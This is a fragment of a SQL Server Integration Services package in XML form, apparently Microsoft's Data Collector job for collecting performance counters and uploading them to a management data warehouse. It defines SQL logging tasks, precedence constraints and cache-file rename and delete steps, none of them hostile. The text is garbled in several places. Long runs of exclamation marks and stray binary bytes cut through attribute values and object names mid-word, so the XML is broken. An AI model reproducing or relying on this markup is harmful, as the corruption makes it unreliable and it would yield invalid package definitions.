DTS:Description="Execute SQL Task" DTS:DTSID="{584e45b8-9755-4fa7-b8b7-f5c1d000603d}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:ISOLevel="4096" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Log Package Stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{4E94A5E2-F3FC-4BE3-A517-51510D6C61A0}" SQLTask:SqlStatementSource="{call dbo.sp_syscollector_event_onstatsupdate(?, N'PerfCountersCollect - Main Collect Loop', ?, ?, 0, ?)}"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::RowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::RowCountOut" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:Description="Target Process ID Unknown" DTS:DTSID="{A8FA1F46-2B02-4F55-A49E-4DD5C75C5F91}" DTS:EvalOp="1" DTS:Expression="@TargetProcessID == -1" DTS:From="Package\LOOP - Aquire performance counters @ collection item frequency\No-Op Sequence Container" DTS:ObjectName="Constraint" DTS:To="Package\LOOP - Aquire performance counters @ collection item frequency\Get SQL Process ID"/><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:Description="Target Process ID Known" DTS:DTSID="{7CCBF793-8783-41F4-ADC2-5E71B809CF51}" DTS:EvalOp="1" DTS:Expression="@TargetProcessID != -1" DTS:From="Package\LOOP - Aquire performance counters @ collection item frequency\No-Op Sequence Container" DTS:ObjectName="Constraint 1" DTS:To="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container"/><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{9F2FBB1A-FACF-4FC4-B755-A53DC3403F70}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel] &gt;= 1" DTS:From="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\LOOP - Aquire performance counters @ collection item frequency\SQL - Log Package Stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency.PrecedenceConstraints[Constraint 3]" DTS:CreationName="" DTS:DTSID="{71196d3d-021d-447d-973a-4c23d217cd1c}" DTS:From="Package\LOOP - Aquire performance counters @ collection item frequency\SQL - Log Package Stats" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 3" DTS:To="Package\LOOP - Aquire performance	!!!!!!!!!!!!!!!!!!!!!!!!`B6ʮ_Hh>	8^
}p
@:xYxHP5T tX(0Of 	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6?Hvto Upload\DFT - Update perf_counters_instances table with newly discovered instances\RAW - Read current tempoary storage - purpose - obtain counter paths.Outputs[Raw File Source Output]"/></paths></pipeline></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\FST - Cleanup" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="File System Task" DTS:DTSID="{2665570b-6fcf-43a3-b8ba-5f3d5bd99357}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Cleanup" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><FileSystemData TaskOperationType="DeleteFile" TaskSourcePath="User::CacheFileToUpload" TaskIsSourceVariable="True"/></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\SQL - Log Package Stats" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{CD4E0504-1536-4071-A070-9A7D8A6D7B32}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:ObjectName="SQL - Log Package Stats" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{2AEF0133-FEA0-472B-B12D-89F60FF1CBCD}" SQLTask:SqlStatementSource="{ call dbo.sp_syscollector_event_onstatsupdate (?, N'PerfCountersUpload - Main Upload Loop', ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::RowCountIn" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::RowCountOutFinal" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::RowCountError" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LoopDuration" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{17CA7F5E-10A1-41B3-9F5F-FD4CCB15FB8D}" DTS:EvalOp="3" DTS:Expression="@[User::LoggingLevel] &gt;= 1" DTS:From="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\F	!!!!!!!!!!!!!!!!!!!!!!!!`6DIHvEF - For Each Collected Cache File Remaining, Try to Upload\SQL - Log Package Stats" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{649D8163-D3B7-4998-A29D-ABDE0EAAEA77}" DTS:From="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\FST - Cleanup"/><DTS:PrecedenceConstraint DTS:refId="Package\FEF - For Each Collected Cache File Remaining, Try to Upload.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{96006738-B053-493C-95AD-64168C63BA4C}" DTS:From="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Update perf_counters_instances table with newly discovered instances" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\FEF - For Each Collected Cache File Remaining, Try to Upload\DFT - Bulk Insert Collected data into MDW" DTS:Value="2"/></DTS:PrecedenceConstraints><DTS:ForEachVariableMappings><DTS:ForEachVariableMapping DTS:CreationName="" DTS:DTSID="{EF918497-3946-428A-9BF3-D32E69048E5A}" DTS:ObjectName="{EF918497-3946-428A-9BF3-D32E69048E5A}" DTS:ValueIndex="0" DTS:VariableName="User::CacheFileToUpload"/></DTS:ForEachVariableMappings></DTS:Executable><DTS:Executable DTS:refId="Package\Sequence Container" DTS:CreationName="STOCK:SEQUENCE" DTS:DelayValidation="True" DTS:Description="Sequence Container" DTS:DTSID="{A7035C8A-5219-42B8-BDE6-365F3240D4B2}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="Sequence Container"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{A0DA22EB-F905-466C-B115-716E3F49FA5D}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SyncRoot"><DTS:VariableValue DTS:DataType="8">PerfCountersLock</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\Sequence Container\FAT - Check Current Cache File Exists" DTS:CreationName="DTS.FileAccessTask.2" DTS:Description="File Access Task" DTS:DTSID="{B737D089-54D7-40A4-9F46-A1B8AA87FF57}" DTS:ExecutableType="DTS.FileAccessTask.2" DTS:LocaleID="-1" DTS:ObjectName="FAT - Check Current Cache File Exists" DTS:TaskContact="File Access;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:PropertyExpression DTS:Name="FilePath">@[User::CacheFileName]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="Mode">0</DTS:PropertyExpression><DTS:ObjectData><FileAccessTask><Mode>0</Mode><FilePath>C:\DOCUME~1\apred\LOCALS~1\Temp\eKatmai_DC\SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0.cache</FilePath></FileAccessTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\Sequence Container\FST - Rename Current Cache File" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="File System Task" DTS:DTSID="{609f9d36-aad4-4395-8b31-0c27b6ffefdd}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Rename Current Cache File" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><File	!!!!!!!!!!!!!!!!!!!!!!!!`6]HvSystemData TaskOperationType="RenameFile" TaskOverwriteDestFile="True" TaskSourcePath="User::CacheFileName" TaskIsSourceVariable="True" TaskDestinationPath="User::CacheOutput" TaskIsDestinationVariable="True"/></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId="Package\Sequence Container.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{B5B398D6-E5AB-4742-ABD1-AD95B984F0AF}" DTS:From="Package\Sequence Container\FAT - Check Current Cache File Exists" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\Sequence Container\FST - Rename Current Cache File"/></DTS:PrecedenceConstraints></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Create snapshot ID in MDW" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:DelayValidation="True" DTS:Description="Execute SQL Task" DTS:DTSID="{02641DDC-5CDC-4BD2-8112-1FA7BE3A488C}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Create snapshot ID in MDW" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" 